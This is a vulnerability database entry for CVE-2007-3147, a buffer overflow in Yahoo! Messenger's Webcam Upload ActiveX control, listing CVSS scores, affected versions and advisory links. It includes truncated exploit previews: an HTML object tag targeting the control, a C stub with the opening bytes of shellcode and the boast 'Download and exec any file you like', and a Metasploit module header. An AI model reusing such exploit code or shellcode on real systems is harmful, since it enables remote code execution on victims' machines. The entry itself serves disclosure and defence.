Published: 11/06/2007 Updated: 16/10/2018

CVSS v2 Base Score: 9.3 | Impact Score: 10 | Exploitability Score: 8.6

VMScore: 945

Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C

Buffer overflow in the Yahoo! Webcam Upload ActiveX control in ywcupl.dll 2.0.1.4 for Yahoo! Messenger 8.1.0.249 allows remote malicious users to execute arbitrary code via a long server property value to the send method. NOTE: some of these details are obtained from third party information.

Vulnerable Product	Search on Vulmon	Subscribe to Product
yahoo messenger 8.1.0.249
yahoo messenger 8.0.1
yahoo messenger 8.0_2005.1.1.4
yahoo messenger 2.0.1.4
yahoo messenger 8.0
yahoo messenger 8.0.0.863

<html>  <html> <object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='ta ...

/* Compile in LCC-win32 (Free!) Download and exec any file you like! Have Fun! */ #include <stdioh> #include <stringh> #include <stdlibh> char *file = "Click_herehtml"; FILE *fp = NULL; unsigned char sc[] = "\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03" "\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x ...

## # $Id: yahoomessenger_serverrb 9525 2010-06-15 07:18:08Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions Please see the Metasploit # Framework web site for more information on licensing and terms of use # metasploitcom/framework/ ## require 'msf/core' ...

CWE-119 http://lists.grok.org.uk/pipermail/full-disclosure/2007-June/063817.html http://research.eeye.com/html/advisories/published/AD20070608.html http://research.eeye.com/html/advisories/upcoming/20070605.html http://messenger.yahoo.com/security_update.php?id=060707 http://www.kb.cert.org/vuls/id/949817 http://www.securityfocus.com/bid/24354 http://securitytracker.com/id?1018204 http://secunia.com/advisories/25547 http://www.securityfocus.com/bid/24341 http://www.securitytracker.com/id?1018203 http://securityreason.com/securityalert/2809 http://www.vupen.com/english/advisories/2007/2094 https://exchange.xforce.ibmcloud.com/vulnerabilities/34758 https://www.exploit-db.com/exploits/4042 http://www.securityfocus.com/archive/1/470861/100/0/threaded https://nvd.nist.gov https://www.exploit-db.com/exploits/4042/

CVE-2007-3147

Vulnerability Summary

Vulnerability Trend

Exploits

References

Vulmon Search

About

Products

Connect